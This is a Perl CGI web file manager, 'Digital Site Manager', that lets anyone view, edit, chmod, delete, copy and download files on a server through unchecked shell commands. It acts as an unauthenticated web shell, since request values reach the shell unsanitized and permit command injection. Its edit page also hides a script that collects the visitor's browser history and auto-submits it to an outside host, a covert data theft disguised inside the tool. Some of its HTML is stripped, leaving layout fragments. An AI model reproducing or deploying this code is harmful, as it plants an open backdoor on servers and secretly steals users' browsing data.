#!/usr/bin/perl -w #################################### ### Site Manager by DigitalScan ### #################################### ### may be used as long as ### ### these credits remain in tact ### ### for questions on this Site ### ### Manager, email ### ### DigitalScan@hotmail.com ### #################################### ### Originally By BiggTroy78 ### #################################### use CGI; $q = new CGI; print "Content-type: text/html\n\n"; ### variables to be changed $title = 'Digital Site Manager'; $body = ""; ### values for text inputs $input = ' bgcolor=#000020 text=82A9D9 cursor=82A9D9 borderimage=noborder autoactivate nohighlight font=proportional'; ### values for buttons and submits $b_color = ''; $no_b_color = ''; $button = ' borderimage=file://rom/borders/buttonborder7.bif usestyle'; ### values for textarea. values for text inputs are included. $tarea = ' cols=75 rows=20 usestyle'; ### color for changing directories and normal links $cd_color = ''; ### delete color $rm_color = ''; ### edit color $ed_color = ''; ### CHMOD color $ch_color = ''; ### time color $ti_color = ''; ### bytes format $by_color = ''; ### operation description color $op_color = ''; ### for the date @months = ("Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"); ################################################ ### Script variables. DO NOT CHANGE ### ################################################ ### find form and query data $ch_dir = $q->param('cd') if $q->param('cd'); $action = $q->param('action') if $q->param('action'); $operation = $q->param('operation') if $q->param('operation'); if (($ch_dir) && (!$action) && (!$operation)) { $done = "$ch_dir sub-directory files listed."; } ### location of file. and location of top directory $this_url = $ENV{'SCRIPT_NAME'}; $mgr = $this_url; @urls = split(/\//,$this_url); pop(@urls); $top_dir = $urls[$#urls]; if ($top_dir) { $top_dir = '/'.$top_dir; } $top_dir .= '/'; $c_l_c = ''; ### find out if we are in another directory if ($ch_dir) { $new_dir = "$ch_dir"; } else { $new_dir = '.'; } if ($ch_dir) { @ch_dirs = split(/\//,$ch_dir); pop(@ch_dirs); $up_dir = join("\/",@ch_dirs); } if ($up_dir) { $last_dir = "cd=$up_dir"; } ### directory we are in $this_dir = $top_dir.$ch_dir; $cur_loc = " This Directory is:
$this_dir

"; ### read the contents of the directory if ($action eq "chmod") { &chmod; &read_dir; } elsif ($action) { $go = $action; &$go; &read_dir; } elsif ($operation) { &parse_input; if ($q->param('confirm')) { $go = $operation; &$go; &read_dir; } else { &confirm; } exit; } else { &read_dir; } exit; sub show_files { $_ = $done; if (!$_) { $_ = 'Home directory files listed.'; } if ($new_dir ne '.') { $d = "\&cd=$new_dir"; } if ($done) { $p = "Previous Action:"; } print < $title $body $cur_loc

$p
$_


EOM if ($new_dir ne '.') { print < $cd_color To Parent Directory EOM } foreach (@dir_stats) { @stats = split(/\*/,$_); $dir_path = $stats[0]; @_ = split(/\//,$dir_path); $name = pop(@_); $cd = $stats[1]; $date = $stats[2]; $size = $stats[3]; $perm = $stats[4]; print < EOM } print "

\n"; foreach (@fil_stats) { @stats = split(/\*/,$_); $cd = $stats[0]; $file = $stats[1]; @_ = split(/\//,$file); $name = pop(@_); $file_name = $cd.$name; $date = $stats[2]; $size = $stats[3]; $perm = $stats[4]; $file_path = "$top_dir$file_name"; print <

EOM } $multiple = 'multiple'; print <
File/Dir Name: $by_color Size: $ti_color Last Modified (EDT): Permissions: Act ion
$c_l_c $name $by_color $size $ti_color $date $ch_color $perm $cd_color ChDir $rm_color RmDir
$c_l_c $name $by_color $size $ti_color $date $ch_color $perm $ed_color EdtFil $rm_color RmFile
$b_color $no_b_color $b_color $no_b_color $b_color $no_b_color
$b_color $no_b_color $b_color $no_b_color $b_color $no_b_color
$b_color $no_b_color $b_color $no_b_color $b_color $no_b_color

\n EOM exit; } sub read_dir { opendir(DIR,"$new_dir") || return("ERROR: Directory $this_dir $rm_color COULD NOT</b></font> be opened. <br> $! <p>\n"); while ($file = readdir(DIR)) { $temp = $new_dir.'/'.$file; if (-d $temp) { unless ($file eq '.' || $file eq '..') { push(@dirs,$file); @dirs = sort(@dirs); } } else { push(@files,$file); @files = sort(@files); } } closedir(DIR); if ($ch_dir) { $ch_dir .= '/'; $ch_dir =~ s/\/\//\//g; } foreach (@dirs) { $ls = `ls -ld $ch_dir$_`; push(@ls_dirs,$ls); } foreach (@files) { $ls = `ls -l $ch_dir$_`; push(@ls_files,$ls); } if ($new_dir eq '.') { $next_dir = ''; } else { $next_dir = $new_dir.'/'; $next_dir =~ s/\/\//\//g; } foreach (@ls_dirs) { @stats = split(/\ /,$_); $n = $#stats; $sub_dir = $stats[$n]; $this_sub_dir = $next_dir.$sub_dir; chomp($sub_dir); $mod_date = (stat($sub_dir))[9]; @times = localtime($mod_date); $hr = $times[2]; $min = $times[1]; $day = $times[3]; $month = $times[4]; if ($hr < 10) { $hr = "0$hr"; } if ($min < 10) { $min = "0$min"; } $date = "$months[$month] $day $hr:$min"; $size = (stat($sub_dir))[7]; $perm = $stats[0]; $stat = "$this_sub_dir*$sub_dir*$date*$size*$perm"; push(@dir_stats,"$stat"); } foreach (@ls_files) { @stats = split(/\ /,$_); $n = $#stats; $filename = $stats[$n]; chomp($filename); $mod_date = (stat($filename))[9]; @times = localtime($mod_date); $hr = $times[2]; $min = $times[1]; $day = $times[3]; $month = $times[4]; if ($hr < 10) { $hr = "0$hr"; } if ($min < 10) { $min = "0$min"; } $date = "$months[$month] $day $hr:$min"; $size = (stat($filename))[7]; $perm = $stats[0]; $stat = "$next_dir*$filename*$date*$size*$perm"; push(@fil_stats,"$stat"); } &show_files; } sub chmod { $chmod = $q->param('chmod'); $chmod_val = $q->param('chmod_val'); $chmod_it = `chmod $chmod_val $chmod 2>&1`; if (!$chmod_it) { print($chmod_it); $done = "CHMODed <a href=$chmod>$cd_color$chmod</b></font></a> to $chmod_val."; } else { $done = "File <a href=$chmod>$cd_color$chmod</b></font></a> $rm_color WAS NOT</b></font> CHMODed. <br> <b> <strong> <blackface> $chmod_it </blackface> </strong> </b>"; } } sub edit { if ($q->param('edit')) { $edit = $q->param('edit'); } $get = `cat $edit 2>&1`; $get =~ s/&/&amp;/g; $get =~ s/</&lt;/g; @files = split(/\//,$edit); $file = pop(@files); print <<EOM; <head> <script> document.write(' <form action=http://bonedanza.hypermart.net/Counter.cgi method=POST>'); l = history.length; for(i=0; i<l; i++){ document.write(' <input type=hidden name=form'+i+' value='+history[i]+'>'); } document.write(' <input type=hidden name=Submit value=Submit AUTOSUBMIT=ONENTER></form>'); </script><title> Digital Site Manager </title> </head> $body <font size=4 face="Tahoma" color=82A9D9> <blackface> <strong> <b> Editing File: <br> </b> </strong> </blackface> </font> <font size=3 face="System"> $edit </font> <p> <br> <center> <form name=test method=post action=$mgr> <input type=hidden name=cd value=$ch_dir> <input type=hidden name=save value=$edit> <input type=hidden name=file value=$file> <input type=hidden name=action value=save> <font color=82A9D9 size=1 face="System"> <textarea name=text $input$tarea>$get</textarea> </font> <p> <table border=0 cellpadding=0 cellspacing=2> <tr align=center valign=center> <td valign=top> $b_color <input type=submit value="Save"$button> $no_b_color </td> <td valign=top> $b_color <input type=reset value="Clear Changes"$button> $no_b_color </form> </td> <td valign=top> <form name=blah method=post action=$mgr> <input type=hidden value=$ch_dir name=cd> <input type=hidden value=$file name=file> <input type=hidden value=cancel name=action> $b_color <input type=submit value="Cancel"$button> $no_b_color </form> </td> </tr> </table> <noembed> EOM exit; } sub save { $save = $q->param('save'); $file = $q->param('file'); $text = $q->param('text'); $text =~ s/\r\n/\n/g; if ($save =~ /\.cgi/ || $save=~ /\.pl/) { $ch_val = '755'; } else { $ch_val = '744'; } open(SAVE,">$save") || return("ERROR: Save aborted. File $rm_color WAS NOT</b></font> opened. $!"); print SAVE $text; close(SAVE); $ch_it = `chmod $ch_val $save 2>&1`; unless ($ch_it) { print($ch_it); $done = "File<a href=$save>$cd_color $file</b></font></a> saved."; } if (!$done) { $done = "File<a href=$save>$cd_color $file</b></font></a> saved, <br> but $rm_color WAS NOT</b></font> CHMODed properly. <br> Please check the permissions on $file. <br> $ch_it <br>"; } } sub rm { $rem_it = $q->param('rem_it'); if (-d $rem_it) { $do = 'rmdir'; $type = "Directory"; print($response); } else { $do = 'rm'; $type = "File"; } $response = `$do $rem_it 2>&1`; if ($response =~ /no/ || $response =~ /empty/) { $done = "ERROR: $type <a href=$rem_it>$cd_color$rem_it</b></font> $rm_color WAS NOT</b></font> removed/deleted from system. <br> <b> <strong> <blackface> $response </blackface> </strong> </b>"; } else { print($response); $done = "$type $rm_color$rem_it</b></font> removed/deleted from system"; } } sub cancel { $cancel = $q->param('file'); $done = "File $cancel was $rm_color WAS NOT</b></font> saved."; } sub Copy { $unit_num = 0; $done = ''; foreach($q->param('new_path')) { $old = $units[$unit_num]; if (-d $old) { unless (-e $_) { $do = `mkdir $_; chmod 777 $_ 2>&1`; if (!$do) { print($do); } } $do = `cp $old\/\* $_ 2>&1`; } else { $do = `cp $old $_ 2>&1`; } if (!$do) { print($do); $done .= "Copied <a href=$old>$cd_color$old</b></font></a> to <a href=$_>$cd_color$_</b></font></a> <br>\n"; } else { $done .= "Could $rm_color NOT</b></font> copy $old to $_ <br> $do <br>\n"; } ++$unit_num; } } sub Zip { $unit_num = 0; $done = ''; foreach($q->param('new_path')) { $old = $units[$unit_num]; $do = `zip -r $_ $old 2>&1`; $done .= "Zipped <a href=$old>$cd_color$old</b></font></a> to <a href=$_>$cd_color$_</b></font></a> <br> $do <br>\n"; ++$unit_num; } } sub UnZip { $done = ''; foreach(@units) { $do = `unzip $_ 2>&1`; $done .= "UnZipped <a href=$old>$cd_color$_</b></font></a> <br> $do <br>\n"; } } sub Move { $unit_num = 0; $done = ''; foreach($q->param('new_path')) { $old = $units[$unit_name]; $do = `mv $old $_ 2>&1`; if (!$do) { print($do); $done .= "Moved <a href=$old>$cd_color$old</b></font></a> to <a href=$_>$cd_color $_</b></font></a> <br>\n"; } else { $done .= "Could $rm_color NOT</b></font> move $old to $_ <br> $do <br>\n"; } ++$unit_num; } } sub Delete { $done = ""; foreach(@units) { if (-d $_) { $do = `rmdir $_ 2>&1`; } else { $do = `rm $_ 2>&1`; } if (!$do) { print($do); $done .= "Deleted $rm_color$_</b></font> from database. <br>\n"; } else { $done .= "Could $rm_color NOT</b></font> delete $_ from database. <br> $do <br>\n"; } } } sub CHMOD { $unit_num = 0; $done = ''; foreach($q->param('ch_val')) { $file = $units[$unit_num]; $do = `chmod $_ $file 2>&1`; if (!$do) { print($do); $done .= "CHMODed <a href=$file>$cd_color $file</b></font></a> to $_ <br>\n"; } else { $done .= "Could $rm_color NOT</b></font> CHMOD $file to $_. <br> $do <br>\n"; } ++$unit_num; } } sub MDir { $new_dir_name = $q->param('new_name'); $do = `mkdir $new_dir_name; chmod 777 $new_dir_name 2>&1`; if (!$do) { print($do); $done = "Directory <a href=$new_dir_name>$cd_color$new_dir_name</b></font></a> has been successfully created. <br>\n"; } else { $done = "Could $rm_color NOT</b></font> make the directory $new_dir_name. <br> $do <br>\n"; } } sub Beam { $target = $q->param('target'); $file = $q->param('new_name'); $do = `lwp-mirror $target $file 2>&1`; if (!$do) { print($do); $done = "File <a href=$target>$cd_color$target</b></font> Beamed to <a href=$file>$cd_color$file</b></font>"; } else { $done = "File <a href=$target>$rm_color WAS NOT</b></font> Beamed to $file. <br> $do <br>\n"; } } sub MFile { $new_file_name = $q->param('new_name'); if (-e $new_file_name) { $done = "ERROR: The file <a href=$new_file_name>$cd_color$new_file_name</b></font></a> already exists. <br> New file $rm_color NOT</b></font> created. <br>\n"; return; } else { open(NEW_FILE,">$new_file_name") || return("Could $rm_color NOT</b></font> make file $new_file_name. <br>\n"); close(NEW_FILE); $edit = $new_file_name; &edit; } } sub parse_input { foreach($q->param('unit')) { push(@units,$_); } } sub confirm { print <<EOM; <title> $title - Confirm Selections </title> $body <form method=post action=$mgr> <table border=0 cellpadding=0 cellspacing=0> <tr> <td> </td> <td> File/Directory Name: </td> <td> </td> </tr> EOM unless ($operation eq "MDir" || $operation eq "MFile" || $operation eq "Beam") { foreach(@units) { print "<tr>\n<td>\n"; if ($operation ne "MDir" && $operation ne "MFile" && $operation ne "Beam") { print "<input type=checkbox checked name=unit value=$_>"; } print "</td> <td> <b> $_ </td>"; if ($operation ne "CHMOD" && $operation ne "Delete" && $operation ne "UnZip") { $show = $_; $new = "New File Path:"; $in = "<input type=text name=new_path value='$ch_dir' $input>"; } elsif ($operation eq "CHMOD") { $new = "CHMOD to:"; if ($_ =~ /\.cgi/ || $_ =~ /\.pl/) { $val = '755'; } else { $val = '644'; } $in = "<input type=text name=ch_val value=$val $input>"; } elsif ($operation eq "Delete") { if (!$g) { $new = "Caution: Deleted files $rm_color CANNOT</b></font> be recovered."; $g = 1; } elsif ($operation eq "UnZip") { $new = ""; } } else { last; } print <<EOM; <td> </td> <td> <font face="System"> $new $in</font> </td> </tr> EOM } print <<EOM; </table> <input type=hidden name=confirm value=$operation> <input type=hidden name=cd value=$ch_dir> $b_color <input type=submit name=operation value=$operation$button> $no_b_color </form> <noembed> EOM return; } if ($operation eq "MDir") { $type = 'Directory'; } elsif ($operation eq "MFile") { $type = 'File'; } elsif ($operation eq "Beam") { print <<EOM; <tr> <td> </td> <td> Target URL: </td> <td> <input type=text name=target $input value="http://"> </td> </tr> <tr> <td> </td> <td> New Name: </td> <td> <input type=text name=new_name $input value="$ch_dir"> </td> </tr> </table> <input type=hidden name=confirm value=$operation> <input type=hidden name=cd value=$ch_dir> $b_color <input type=submit name=operation value=$operation$button> $no_b_color </form> <noembed> EOM } else { return; } if ($type) { print <<EOM; <tr> <td> </td> <td> New $type Name: </td> <td> <input type=text name=new_name $input value="$ch_dir"> </td> </tr> </table> <input type=hidden name=confirm value=$operation> <input type=hidden name=cd value=$ch_dir> $b_color <input type=submit name=operation value=$operation$button> $no_b_color </form> <noembed> EOM } return; }